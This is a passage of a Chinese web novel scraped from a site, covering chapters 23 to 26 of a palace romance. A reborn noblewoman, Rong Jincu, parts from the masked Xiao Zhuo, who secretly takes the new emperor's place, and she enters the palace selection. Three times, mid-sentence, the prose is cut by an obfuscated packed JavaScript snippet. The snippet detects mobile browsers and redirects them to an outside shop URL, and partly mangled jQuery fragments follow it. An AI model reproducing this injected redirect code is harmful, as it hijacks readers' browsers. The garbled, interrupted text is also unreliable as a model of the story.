然而她那时身子太弱,生下来两个孩子,阿珠折了,阿折也活不了。没过半个月,阿折已经虚弱到快要哭不出声。 江玉刚好云游至此,为容锦簇诊过脉,断定这孩子先天弱症,多有不足,恐怕活不过两岁。为保住容锦簇性命,容家同意了将容锦簇送去鬼王谷,由江玉抚养。 养到六岁,容锦簇才离开师父师兄,回到容府。 那时楚画仪的身子也得江玉调理,好了不少,生下的容锦虞活泼又健康。容锦虞小字阿宁,楚画仪对她别无所求,只盼她一世安宁无虞。 害死了长女的容锦簇回来,楚画仪自然没什么好脸色。加上她不曾亲手养过容锦簇,对这个女儿没有几分感情。 因为丈夫出征在外,她想着等容将军回来,一家四口先见一面,再把容锦簇重新送到鬼王谷去,眼不见心不烦。 哪知容将军再也没能回来。 容锦簇回到容府的第二个月,容将军战死沙场,只留下一个追封的忠武侯爵位。 一个无法世袭的爵位,再也换不来厮守多年的丈夫。 出人意料的是,楚画仪没有像当年痛失长女那般崩溃。她平静地接受了一切,撑起了容家二房。 十年间风风雨雨,她一个人抚养着容锦虞,照管着容家诸事,咬牙切齿地恨着容锦簇。 十年了,对容锦簇的恨意早已不单单是失去长女和夫婿的怨恨,而是变成了她生命的一部分,变成了支撑着她活下去的力气。 此刻,她看着容锦簇,痛痛快快一口气说出了忍了十年的怨恨,却在亲眼看着女儿红了眼眶后,并不觉得心里好受。 楚画仪摸了摸胸口,那里是痛的。 怎么会痛呢?一定是因为这个克星害了阿宁。 于是,她冷冷地,决然地开了口:“从此以后,你我一刀两断。” “母亲……” “别再喊我母亲!” 说罢,楚画仪不留给容锦簇任何出声的机会,拂袖进了屋,重重摔上门。 然后蓦然失了力气,靠着门板滑落在地。 — 从容锦虞及笄当日算起,两个月转瞬即逝。 两个月间,容锦虞终于被放了出来,另选了一位夫人匆匆举办了及笄礼。 容夫人称病闭门不出,虽然还住在一个府上,母女三人就像断交似的,彼此见不到面。 容锦虞关进祠堂第二日,容锦簇送走了宝喜。她知道如果宝喜留下,容锦虞必定不会放过这个叛主的侍女。 于是归还了宝喜的卖身契,另赠一百两银子。 将宝喜送到侧门处,容锦簇轻轻道:“你自由了。从今以后,走得越远越好,别让三妹妹再找到你。” 宝喜含泪叩了个头,坚定道:“赵嬷嬷是奴婢的干娘,一定知道奴婢身在何处。哪日二姑娘还用得到奴婢,告知赵嬷嬷一声,奴婢一定会回来效力。” 容锦簇默然点了点头,跟宝河宝灯一起站在侧门内,目送宝喜的身影渐行渐远,最后化作视线里茫茫的一个小点,消失不见。 主仆三人心情恹恹回到雪寒院,容锦簇打起精神,道:“你们若是想走,我可以这会儿一并放人。” 两个姑娘齐齐将头摇得像拨浪鼓。 宝河的理由很简单:“我在这儿过得挺好的。” 宝灯的理由更简单:“姑娘不是要进宫吗?我要跟姑娘进宫,坐享荣华富贵!” “你这傻子,宫里是那么好待的?”宝河翻了个白眼,“姑娘聪明,进宫没什么,你进宫,嘁,说不准哪一日让人害死了都不知道!” “好啊宝河,你咒我!”宝灯一挽袖,扑了上去,“你看我打不打你!” …… 永熙二十一年,九月初一。 一早,宝灯抱了满满一竹篮的桂花,兴高采烈跑进来。 “姑娘,姑娘!” 容锦簇刚醒,坐在镜前慢吞吞梳妆:“什么事?” “今儿天气好,咱们晒桂花吧!”宝灯喜滋滋道,“赶明儿还能酿桂花酒喝!” “还能做桂花糕呢!”宝河替她梳头,也笑着接话。 容锦簇最爱桂花糕,顿时眼前一亮:“这就来!” 前世这个时候,她还被关在暗无天日的容家祠堂,哪里享受过这种惬意的生活。 想到这,容锦簇蹙了蹙眉,确认:“今日是九月初一?” “是啊姑娘,您最近怎么了,总是问日子,有什么大事吗?” 容锦簇心里紧了紧。 前世她成为容美人的日子是九月十一,也就是说,只有十日了。 随即又想到,萧逐夜不是出京养伤了吗?也不知如今可曾回来。 怀着重重心事,容锦簇晒桂花时格外心不在焉。磨蹭到下午,才在宝灯宝河的帮忙下勉强将所有桂花摆出来放好。 宝河忍不住叹了口气:“今日也没几个时辰了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484508|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这肯定晒不干,少说明日也得继续晒。” 宝灯抬头望望晴朗无云的天空,干脆提议:“咱们也别收了,趁天气好,连着晒几日,就晒出来了。” “也好。”宝河欢喜道,“晒好以后,给姑娘做桂花糕吃!” 容锦簇恹恹点了点头,无精打采地起身往房中走。宝灯宝河对视一眼,宝河悄悄问:“你惹姑娘啦?” “怎么可能!”宝灯矢口否认,想了想,猜道,“姑娘肯定有事瞒着咱们。不如咱们今夜就守在外间,看看姑娘晚上会不会瞒着咱们有所行动。” 宝河两眼放光,赶紧点了点头。 当晚,容锦簇睡得比平时还早。往床上一躺,她本来打算好好回忆一下前世细节,但眼睛一闭,不知不觉就睡了过去。 容锦簇睡得香甜,倒是苦了两个侍女。以为自家姑娘必定要有动静,聚精会神守了大半夜,直到夜过三更,两人困得哈欠连天,倒头就睡熟了。 容锦簇做了个梦。 梦里天色阴沉,狂风阵阵,雾气弥漫。在寒鸦不安的哀鸣声中,她拎着一盏灯,不知不觉走到了乱葬岗前。 突然,她在横七竖八的尸体堆中,看到了银面桃花的面具! 容锦簇心里重重一坠,猛然惊醒。 这时,她才发觉惊醒自己的到底是什么—— 遥远的宫城方向,传来一声又一声沉重的钟鸣。 府外,不知谁用抑扬顿挫的哭腔走街串巷喊道:“圣上殡天了!” 真是大胆。妄议宫中大事,若官兵逮到,就是个死。 容锦簇翻了个身,捂住耳朵,心乱如麻。 太承帝驾崩。 那萧逐夜肯定回来了。 这一世她还没有定亲,应该要随容锦虞一起入宫参选。 算起来,这将是她重生回来第二次见到萧逐夜。 萧逐夜……那个待她极好,给了她最后一丝温暖和救赎的人。 想到这,容锦簇嘴角终于微微上扬了。放开捂着耳朵的手,侧耳一听,突然发现外面不知何时下起了骤雨。 仿佛恭送圣上殡天一般,这场雨来势汹汹,却很是应景。 容锦簇想起晾在外面的桂花,慌忙下床,赤足跑到外间,去叫侍女:“宝灯!宝河!下雨了,快收桂花!” 宝灯宝河呼呼大睡。 她推了一把宝河,宝河说了两句梦话,又沉沉睡着了。 容锦簇急了,折回去趿鞋,匆匆拎了一柄伞闯入暴雨中。 满地桂花早已被雨糟蹋得不成样子。嫩黄的花瓣零落一地,揉进泥地里,残的残缺的缺,雨水浸透之处,只剩下柔软的花泥。 容锦簇扔下伞,单膝跪在地上,俯身去捧大雨打湿的桂花,可惜竟捧不起一捧干净的花瓣。 这些桂花转瞬之间就被一场骤雨无情地打湿揉碎,为世道所抛弃。 暴雨无情地朝容锦簇劈头盖脸砸下,密集的水珠淌过发梢,淋得她睁不开眼。 突然,头顶的雨点变小了。 一只冰冷的手贴上她脸颊,替她擦去眉眼间的水珠,轻轻叹了一声。 24. 第 24 章 容锦簇迷蒙睁开双眼,雨水浸过的视线里映出一个熟悉的身影。 那一瞬间,她又觉得自己置身梦中。 “……你?”张了张嘴,她嗓子发紧。 银面桃花。 他仍然戴着她梦中看到的那张画着桃花的银面具,单手提灯,单膝跪在她面前。此刻那盏灯笼已被大雨打湿,在狂风中摇晃着燃尽最后一丝光亮。 也许是沾了雨水的缘故,容锦簇眼眸干涩刺痛,声音亦然:“你,你不是发过誓,永不纠缠,与我此生不再相见?” 他瘦了,唇色也苍白。 银面桃花微微垂下眼,对她的质问避而不答,反倒以哀求的语气,低声道:“再唤一声阿琢,好不好?” 容锦簇用力攥了攥指尖:“你不知道吗?圣上驾崩,很快就要选新的宫妃了。” “求你,容二姑娘。”银面桃花眼里是化不开的阴郁与悲哀之色,哪怕面具覆盖,也能察觉到他神色凄楚,“求你。” 容锦簇固执地摇头,狠下心拒绝了:“前世,本就是你负了我。” “我不是故意的!”暴雨将两人淋得湿透了,银面桃花看起来濒临失控,“容二姑娘,我可以解释,前世我——” “那又有什么用!”容锦簇打断他,眼泪与暴雨交融在一起,再也区分不清。 “伤害发生了就是发生了,你知道后面我经历了什么吗!关祠堂,认罪,除名,浸猪笼,换亲,送入宫……我前世没有供出你,你这辈子可以为我考虑一次吗!” 暴雨很难让人不崩溃。 容锦簇浑身冰冷脱力,被银面桃花一把捞入怀中,死死抱住。 她的前额磕在银面桃花心口,凄风冷雨中,只有他的体温是真实的。 她下意识抓紧了他的衣裳,像抓住一根救命稻草,听见他浑身颤抖地沙哑着声音说:“……对不起,我不知道。” “我不需要你说对不起!” 容锦簇松开抓着他衣衫的手指,挣扎摆脱了那个令她心生眷恋的,混合着苦涩药味和桃花熏香的怀抱。 她垂下眼:“我累了,我们都放过彼此吧。你从来没有对我坦诚过一次,一次也没有。我不知道你的名字,你的身世,甚至连你的长相都不知道……” 她看见面具下,男人红了眼眶。 下一秒,他抬起手,卸下了面具。 那是一张漂亮到让人过目不忘的脸。 容锦簇一直以为萧逐夜堪称天下绝色,直到今夜,她才知道何为风华灼灼,何为容色无双。 她弯了弯唇角,无力又绝望地用双手捂住眼,发出一声自嘲的笑。 第一次见到爱人的真容……居然是两世以来的最后一面。 灯笼熄灭了。 黑暗中,银面桃花扔下灯笼,双手扶住她单薄的肩。 随即那双手顿了顿,慢慢上移,极其温柔地握住了她的手,放了下来。 双手紧紧交握,跪在漫天大雨中,莫名其妙的,容锦簇觉得这场景像在拜堂。 她一定是疯了。 银面桃花哑着嗓音开口:“我叫萧琢。萧是风萧萧兮的萧,琢是玉不琢不成器的琢。” “我的母亲是北疆女子,父亲已经死了。” “父亲不怎么喜欢我,最喜欢兄长。我只是兄长的影子。他让我习武,让我进幽冥阁卖命,只是为了以后我能保护兄长,做他手里最好的一把刀。” “我有一个姐姐,是这世上唯一与我血脉相连的人。” “现在你知道我的名字,我的身世,我的长相了。” 顿了顿,他神使鬼差地问:“还愿意跟我私奔吗?” 容锦簇摇头。 雨水顺着他棱角分明的脸滑落,半晌,萧琢居然笑了,笑得很明朗:“那就好。其实,就算你答应,我此刻也没办法再带你走了。” “等你入了宫,必定顺遂美满,一世平安。” 容锦簇已经适应了黑暗,眼眸一眨不眨看着他。 原来他笑起来……这么好看啊。 风声呜咽,萧琢俯身捡起那张面具,指尖忽然顿了顿。 他转身回望容锦簇,深深地看着她,仿佛要将她的容颜永远刻在自己心上。 “容二姑娘,记住我这张脸。”声音很轻很轻地落下,“记住这张脸,算我最后一次求你。” 容锦簇抿了抿唇,没有再拒绝,而是用力点了点头。 既然是最后一个愿望,她答应……也没什么的,应该。 萧琢扶她站起身,唇角扯出一个凄凉的笑。 “那就后会无期了,容二姑娘。” 再也无法相见。 容锦簇的心好像被这场大雨打湿了,怔怔望着他的背影。他单手将面具扣回脸上,挑着那盏灯笼,纵身一跃,翻墙离开了容府。 容锦簇骤然仿佛被抽干了力气,跪坐在地,慢慢抱紧了自己。 太冷了。 又剩下她一个人。 — 天亮了。 玄极宫外,徐皇后带着大公主萧青鹿、九皇子萧慎跪在最前,早已换上了丧服,后面跪着一众宫妃,呜咽声此起彼伏,久久不绝。 为首三人却谁也没抽泣一声,眼神一个比一个冷。 为了掩饰,萧青鹿垂下头,无波无澜盯着地面。徐皇后举起广袖,挡住毫无泪意的双眼。萧慎绷着小脸,不忘发出一抽一抽的声音。 半晌,徐皇后实在心急,直起身问一旁小宦官:“太子呢?还没到么?” “回皇后娘娘,听说太子殿下的车驾已到朱雀门。” 徐皇后长吁一口气,跪在斜后方的太子妃白凝初闻言,眼神也动了动,带着几分希冀。 与此同时,一辆挂着鬼王谷令牌的马车穿过朱雀门,终于抵达了宫门前。 车夫跳下马车,恭敬地为当朝太子掀开车帘。 半晌,一袭白衣、金冠玉带的萧逐夜俯身,出现在车夫视野里。 跟着下车的还有那个蓝袍少年,长山。 车夫大着胆子往里瞧了一眼,居然还有一人端端正正坐在车里,面上扣着一张银色面具。 萧逐夜回身,唤了那人一声:“二弟。” 车里人平静地抬起戴面具的脸,将目光转向他。 “京郊别院,就有劳你帮忙打理了,孤等你回京。” 那人向萧逐夜一抱拳,神色坚定。 四目相对,他张了张嘴,无声说了什么,瞧口型分明是:“殿下珍重。” 萧逐夜微微勾了一下唇角,示意车夫放下车帘。 长山往车夫手里塞了一点碎银,车夫千恩万谢躬着腰爬上马车,挥起鞭子,驱车驶离宫门。 萧逐夜没再目送,转回身。 漆黑的眼眸在蓝袍少年面上巡了巡,含笑问:“想什么呢?” “太子殿下,小的不敢。”长山赶紧低下头,“小的随您进宫。” 萧逐夜拍了拍他肩膀,转身向重华宫的方向大步走去。 长山紧追不舍。 金銮殿前的广场上,百官穿白,披麻戴孝,跪伏在地,哀鸣遍野。 一见太子现身,哭声戛然而止。 所有朝臣诡异地安静了一瞬。 他们以为事发突然,太子必定赶不回来,正各自打着算盘,谁料太子居然赶到了! 落针可闻的死寂中,白凝初的父亲白尚书率先叩首:“太子殿下!恭迎殿下回朝!” 顿时乌压压一片叩首,山呼千岁。 萧逐夜随意扫了一眼,神色淡淡,嗓音嘶哑:“圣上驾崩,诸位拜孤作甚?” 装腔作势的哭丧声顿时此起彼伏,比之前更加嘹亮,竟有两个老臣哭昏了过去。 萧逐夜目不斜视,宽大衣摆拂过金銮殿前白玉阶,没有半步停留,前面已是内廷。 徐皇后率先在宫女搀扶下起身,眼眶通红,眸含热泪,迎上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484509|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“太子,你怎么才到!” 萧逐夜目光掠过她,行到最前,忽然撩袍跪地,端端正正俯下了身子,重重将头叩了下去。 三拜九叩,一下比一下庄严肃穆。 “父皇,儿臣来迟了。”他目光冰冷,整个人却显出悲痛至极的气息。 “陛下仙逝之前,最放心不下太子。”徐皇后噙着泪,亲手扶他起来,“太子的病可好透了?那伤呢?” 萧逐夜拱手行礼,抬眼看向徐皇后:“多谢母后关怀,臣已经病愈,旧伤也完全好了。” 四目相对,各怀心思。 徐皇后细细端详着他,长眉入鬓,鼻骨直挺,丹唇凤目,芝兰玉树。相比久病之时,他如今气色更好。目光澄明,气质沉稳,朗朗君子之风。 除了……嗓音实在哑得厉害。 萧逐夜也在打量徐皇后。 许久未见,徐皇后容光焕发,面上艳艳生光,眼底压抑着的悲痛掩盖了喜悦,却不难看出深藏的得意之色。 徐皇后早年在宫斗中伤了身子,没有自己的子嗣,却能稳坐皇后凤位多年,可见其手腕。萧逐夜虽不是她亲生子,却因为储君地位稳固,颇受她青睐。 又因他身中蛊毒,徐皇后费尽心思寻医问药,不惜绑走万嫣然和江望灿试血,更不知暗中还绑过多少用来试血的无辜牺牲品。 如今皇帝死了,太子的毒也解了,徐皇后大为欣慰,强忍着没有得意忘形,只是握住萧逐夜的手拍了拍,含泪道:“回来就好!嗓子怎么哑了,可是舟车劳顿所累?” 萧逐夜垂眸:“儿臣无妨,疗伤时留下的病根,过些日子就好了。” “那就好!快去换了衣裳,为陛下祈福。”徐皇后说着,又回身吩咐白凝初,“太子妃,你陪太子去后殿。” 白凝初遵令,在侍女搀扶下起身。 到了后殿,小宦官将准备好的丧服交给萧逐夜,就垂首退了出去。 萧逐夜摁了摁太阳穴,忽然皱起凛冽长眉,轻轻嘶了一声。 随即隐去神情,宽衣解带。 白凝初恰好进来,屏退了一众宫女太监,只留下长山一个人在外把守。 白凝初满心欢喜,一步一步走向他:“殿下!” 听闻他蛊毒已解,旧伤也好了,她心中不知有多高兴。 又是久别重逢,她此刻真想奔上前跟他相拥,只是碍于礼仪,不得不忍住了,只是殷殷抬起一双如水的多情眸瞧着他:“我帮殿下更衣。” 萧逐夜搭在衣带上的手一顿,竟又将玉带重新系上了。 “太子妃,孤换丧服,烦请回避。”他面无表情道。 “殿下?”白凝初怔怔立在原地,像被一道闷雷劈过,不知所措。 “你我是夫妻,又不是未曾见过……殿下为何忽然这般冷心无情?” 随即,白凝初的眼眸里凝出无尽哀愁:“殿下可是怨恨我,没有在您伤重时留在您身边照顾?” “分明是殿下一直躲着我,就连殿下遇刺出京养伤的消息,都是二弟告知我的……”她本就多愁善感,心思敏感,如今见夫君如此冷落自己,更是伤心欲绝,恨不得当场自尽。 萧逐夜头疼,声音更哑了:“没有,孤不是怨恨你。” “那为何不让臣妾帮忙更衣?”白凝初泣道,“我自知殿下与我感情不算深厚,但殿下碰也不许我碰,是为何意?莫非厌弃了我,还是说殿下在外有了新欢?” 萧逐夜一身君子风骨,哪怕对她没什么夫妻感情,还是最怕她哭。 平日里,只要白凝初一掉泪,就是天上的星星,萧逐夜也会帮她摘来。只要白凝初一哽咽,就是错不在萧逐夜,萧逐夜也会让步。只要白凝初一抽泣,萧逐夜无论多忙,都会先哄她。 她对此很有把握,从未失手—— “别哭了!” 冷冷一声训斥,白凝初的哭声哽在喉咙里,看着眼前这个面容俊美又冷漠的太子,彻底傻了。 25. 第 25 章 “出去。”萧逐夜敛下眼,“有什么委屈跟长山哭去,别来找我。” “你、你……”白凝初语无伦次了半晌,眉眼间郁结更甚,咽下千言万语,行了个礼,委委屈屈道,“臣妾告退。” 她哪还有心情去问长山,低着头匆匆出了门,恨不得找一根柱子,当场撞死算了。 白凝初前脚哭着离开了后殿,下一刻,从不远处的走廊拐角慢慢转出一个神色冷冷的貌美女子,身后跟着两个小侍女。 “别跟着我了。”萧青鹿凉凉乜了她们一眼,“本宫要亲自会一会这个好弟弟。” 送走了缠人的白凝初,萧逐夜稍稍松了口气,迅速褪下外衣,换上斩衰素服,摘下金冠,仅用白色布条束发,还没扎好,一道清脆如冷玉的声音从背后响起: “系歪了。” 萧逐夜手上动作更快了几分,整理好发带,这才转过身行礼:“阿姐。” 萧青鹿闻言,挑了挑眉,唇角扯出凉凉一抹笑。 “可以啊,太子殿下。父皇重病时,不见你回来侍疾。父皇刚刚殡天,你上赶着回来登基了?” 萧逐夜嗓音像沙子磨砺过,哑得有些可怜:“宫中有阿姐,还有二弟和九弟,孤放心。” “也就只有你放心!”萧青鹿猛地提高了声音,冷冷掷地,“你可知阿琢大病一场,形销骨立,强撑着病体替你侍奉父皇?小九才多大,就要宫里宫外来回奔波?众人盼着你回来时,你又在何处?萧逐夜,本宫问你话呢!” 她等着萧逐夜的回答,萧逐夜却勾了勾唇,轻轻笑了一声。 萧青鹿顿时更觉愤怒,眉眼沉凉如冰:“还敢笑!如今你回来了,却不见阿琢,萧逐夜,你把我弟弟弄哪去了?” “二皇子代我前往京外别院,处理一些麻烦事,很快回来。” 萧青鹿本来还有生气的心思,此时只觉耳边轰的一声惊雷。几步走过去,一把抓住了萧逐夜领口,周身冷冽:“萧逐夜!你这是私自流放兄弟!你这样做将父皇置于何地,将大景朝律法置于何地?” “萧逐夜,本宫告诉你,我萧家没有这等无情无义之人,你今日给不出本宫满意的回答,本宫拼死也会阻止你登基!” “阿姐,别骂了,是我。”那人又笑了,那把沙哑的声音轻而又轻地落下来,像一片雪。 是谁? 萧青鹿愤怒又不解地望着他:“萧逐夜,别以为你身弱,本宫就会让着你!知道是你,是太子殿下,那本宫还是公主呢!” 萧逐夜亦抬起含笑的眸与她对视,眉眼落拓,多了几分锋利,少了几分温和,虽然是一模一样的五官,却更显俊美:“阿姐,是我啊。” 忽然,萧青鹿灵光一闪,从那道若有若无的熟悉眼神中,好像读出了什么。 透过那双熟悉的凤目,她瞳孔微扩,张了张唇瓣,无力地倾吐出那个她不敢相信的猜测:“阿、阿琢……?” 随即狠狠摇头:“不可能,不可能,本宫一定是疯了,才会跟你在此胡言乱语,你只能是萧逐夜,还能是谁,别开玩笑了!” 萧琢时不再辩解,笑意更甚。 “阿姐。” “宫里多一个知道这个秘密的人,我就少一分能活下去的机会。” 萧青鹿怔怔抬起眼睫,一时两人不再说话,沉默在殿内肆意流动着,从惊诧,到无奈,最终化作无边的悲寂翻涌。 “那你告诉我作甚?我就这么可信吗?”沉默良久,一夜未曾掉泪的萧青鹿此刻终于从眼角处滚下簌簌一串泪珠,声音低低颤抖,“阿琢,你怎么、你怎么会变成他的模样?” “阿姐。”萧琢时无奈地抬起手指,抵在唇边嘘了一声,朝她眨了眨眼,“这是秘密。” …… 九月初八,满城缟素,太承帝棺椁葬入皇陵。 太子妃父亲、礼部尚书白大人带头上疏,国不可一日无君。 徐皇后宣先帝遗诏,由太子继位。 九月初九,萧逐夜登基。 同日,尊徐皇后为徐太后,册太子妃为皇后,改元永初。 太子无侧妃侍妾,后宫空悬,又为国丧,三年不得选秀,徐太后秘密颁下懿旨,召所有在朝官员家中年满十五而未婚配的女儿九月十一入宫。 一个又一个消息如插了翅似的从深深宫廷飞出来,雪寒院里,容锦簇托腮坐在石桌前,面前摆了整整三碟冒着热气的新鲜桂花糕。 正是那日大雨后,宝河用重新晒好的桂花蒸的点心。 容锦簇恹恹咬了一口,任凭桂花糕在唇齿间融化了,却什么味道也没有品尝出来。她垂下眼帘,深深叹了口气。 “姑娘,您都叹三十多回了,什么事这么担忧。”宝灯坐在一旁绣帕子,即使不看,也能飞针走线如旧,“新帝登基,太后下旨,九月十一您不就可以实现愿望,入宫待选了嘛。” “我就是觉得心里没底。” 容锦簇想起前世,她能入选其实是个意外。 原本她被教习嬷嬷识破了身份,不是容锦虞,就应以冒充之名赶走。不想还没走到宫门,在宫道上意外撞到萧逐夜的御辇,反被他留了下来。 但这一世没有了这个变数,萧逐夜真的一定会留下她吗? “姑娘!姑娘!”宝河打断了她的思绪,一路大呼小叫跑进来,“不好了,不好了,魏三公子他……又来提亲了!” “……”容锦簇腾的一下站起身,“先前谈好的他忘了?魏夕度他疯了吗!” — 当夜,洗梧宫,白凝初凤冠翟衣未褪,端坐镜前,心神不宁。 大宫女浅夏垂头丧气进来,低声回禀:“娘娘,陛下说近日事务繁忙,折子批不完……请娘娘歇了,不必再等。” 白凝初坐着没动,一滴泪从眼底滚出来,顺着面庞缓缓滑落。 “后日新人入宫,本宫终究是旧人了。”她从前还没看出,自己的夫婿竟这般喜新厌旧,“旧人哪有新人的好颜色。” 她知道萧逐夜身中蛊毒,行不得房事,但他病重之前,他们夜夜同榻而眠。 如今他解了毒,就这样狠心无情地抛弃她。 “娘娘切勿多想。”浅夏替她按着肩膀,也忍不住哽咽,“娘娘是正宫,陛下若对娘娘绝情,就算娘娘没有怨言,太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484510|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后也会不满的。” “使手段留住人有何用,留得住他的心吗。”白凝初闭了闭眼,再抬眸时,眼底泪光冷冷,“本宫只要这皇后之位就够了。” 此时此刻,容锦簇也没睡。 时值国丧,魏夕度不敢光明正大登门提亲,却悄悄给容府递了口信,告知容锦簇不必进宫。真有人追问起来,就是与他定了亲。 容锦簇坐立难安,在卧房里转来转去,百思不得其解。 她不是说过自愿进宫吗? 显然被魏夕度当作善意的谎言了。 “吱呀”一声,门轻轻推开一道缝。容锦簇以为是宝河,头也没回:“快进来,见到魏三公子的小厮了吗?” 良久,仍然没有听见宝河急急忙忙的脚步声。 容锦簇转过身:“怎么不——” 声音戛然而止。 夜风里,容夫人两颊消瘦的面容出现在视线里,令容锦簇一时哑然。 半晌,她缓了缓神,冷冷道:“夫人?” 没记错的话,楚画仪两个月前当众说过要跟她断绝母女关系,不许她再唤母亲。 “我能进来么?”楚画仪攥着双手,难得表现出一丝局促不安。 容锦簇绷着脸,面无表情地点了点头。 楚画仪小心翼翼踏进她的卧房,环顾四周后,在容锦簇床沿坐了下来,目光撞上,相顾无言。 “夫人找我,又是为三妹妹的婚事?三妹妹不愿进宫,于是求到我这里?”容锦簇对她已经不抱任何希望,后日就要进宫了,这个时候不得不防备着楚画仪和容锦虞。 楚画仪盯着她,眼圈却蓦地一红:“阿折。” “这些时日我反思过了,从前是我和阿宁对不起你,让你受委屈了。”她匆忙移开目光,垂首轻声道,“为娘知道从前做错了太多,如今,纵是想补偿也无从做起……” “不必了,夫人。”容锦簇摇摇头,“我不委屈。” 只要她们不拦着她进宫,她就很知足了。 楚画仪闻言更加愧疚:“娘今日听说,魏三公子欲向你提亲。” “夫人死了心吧,我不会同意将婚事让给三妹妹。”容锦簇冷冰冰道,“我就是拒了,也不是她可以肖想的。” “我知道。”楚画仪望着她,声音颤抖,“知道从前娘错了……阿折你放心,娘会帮你隐瞒,称病不进宫,你只管安安心心嫁给魏三公子!” “我不嫁,我要进宫。” “阿折!这不是你闹脾气的时候,宫里不是什么好去处,阿娘想明白了,不会再用你保阿宁,你听话,待在容府待嫁就好。”楚画仪殷切地看着容锦簇,目光哀求。 对峙之中,容锦簇突然笑了。 眼里凄凉:“事到如今,夫人自以为悔过了,却也只是——放弃了用我保阿宁而已。” “您从来没问过我喜欢谁,不喜欢谁,想做什么,不想做什么。” “我对魏三公子没有非分之想,亦不想嫁进安国公府。入宫是我的选择,我心甘情愿。” 闻言,楚画仪彻底愣住了。 “难道你倾慕圣上?” 26. 第 26 章 九月十一,清晨。 慈宁宫内,徐太后端坐主位,一身凤袍,染了鲜红丹蔻的指甲紧扣着扶手,眉眼间蓄着一抹得意的笑。 曾几何时,她也是跪在殿下小心翼翼俯首的宫妃,如今已经贵为当朝太后。 眼见殿前瑟瑟发抖缩成一团的官家小姐,她威严更甚,声音却和缓了些:“都平身,赐座。” 她略扫了一眼,皱起眉头。 太多人了。衣香鬓影,环佩叮当,满屋子娇妍如花儿的姑娘,哪怕她亲自挑,也挑不过来。 徐太后定了定神,随手指了离自己最近的几个:“你,你,留下。” 还有自己本家的侄女,当然也要留下。 剩下的,自己去园子里逛逛,就看能不能撞上好机缘,入新帝的眼了。 “哀家在御花园里备了些茶水点心,诸位姑娘不必拘着,去转转罢。” 听见这话,容锦簇才抬起头。 离徐太后最近的几个姑娘都是家族在朝中地位较高的,丞相独女,太师幺女,国子祭酒长女,当然还有万嫣然。 此刻,见容锦簇看过来,她还兴奋地朝容锦簇眨了眨眼。 “万姐姐,你在看谁?”坐在万嫣然身侧的正是徐太后本家侄女徐长忆,日后的宝嫔。 万嫣然赶紧将目光收回来。不想给恩人惹麻烦,她摇摇头:“我没看谁,长忆,你多心了。” — “哎哟,陛下!” 蓝衣少年长山气喘吁吁,一路小跑跟在萧琢时身后,好不容易才赶上他的脚步。 他追随萧逐夜多年,自然知道太子殿下平时是怎样的温淡如水,性情平和。 追着大步流星、冷面无情的新帝,他气都喘不匀了:“陛下,陛下。您从前,走得还没这么快,可见陛下久病初愈,可喜可贺!” 话里话外,无疑在暗戳戳提醒萧琢时注意维持萧逐夜的形象,别让旁人察觉端倪。 “放心,我身体好着呢,不需要你这份闲心。”萧琢时头也没回,打定了主意不准长山管他。 长山:“陛下,您应该自称……” “我就说我,怎么了?人多的时候再改也不迟。”萧琢时冷冷驳回去,步子越发快了。 长山挠头,无言跟上。 方才陛下批折子时,不是一万个不愿意来御花园吗?怎么看完入宫名单又改主意了? 正腹诽着,他低着头,差点一头撞上萧琢时的背。 新帝怔在原地,不知看到了什么,没有再挪步。 幸亏长山及时刹住,有惊无险地揉了揉鼻尖,不满地抬起头,越过萧琢时的后背朝前看去。 园里到处都是人,他这是看着谁了? 蓦地,长山目光瞄到一个熟悉的人影,终于反应过来——那不是有个神医师父的容家二姑娘嘛! 凉风拂面,菊花也算不得娇艳。容锦簇垂眸抚了抚衣袖,柔软的妆花缎在灿灿艳阳下折射出如水碎光。 身后响起三三两两的问安声,她倒也不打算遗世而独立,生涩地屈膝折颈,行礼问安,彻底融入别的姑娘之中。 余光瞥见一截绣着金线的衣摆从视线上方曳地拂过,轻得像风,径直走出了她视野所及,没有丝毫停顿。 良久,也没有再折回来。 容锦簇的心重重坠下去。 果然,如果不是前世宫道相遇冲撞了他,他根本不可能看见她…… 蓦地,那双云纹黑靴顿了顿,新帝转过身,忽然折返回来。 越来越近,越来越近,他走得很快,金衣重新落入她眼中。 容锦簇心口跳得实在厉害,不知为何,紧张得有些口渴。 良久,听见一道熟悉的沙哑嗓音从头顶响起,那只掌心有薄茧的手递到她面前:“起来,跟我走。” 长山大惊失色。 容锦簇抬起眸。 一张熟悉的脸映入她眼中。 疏朗如山水的眉眼,挺拔清逸的鼻峰,艳色绝伦的薄唇。虽然不及那夜银面桃花惊鸿一瞥,但这张脸胜在温润隽永,越看越觉神采俊美,气度从容。 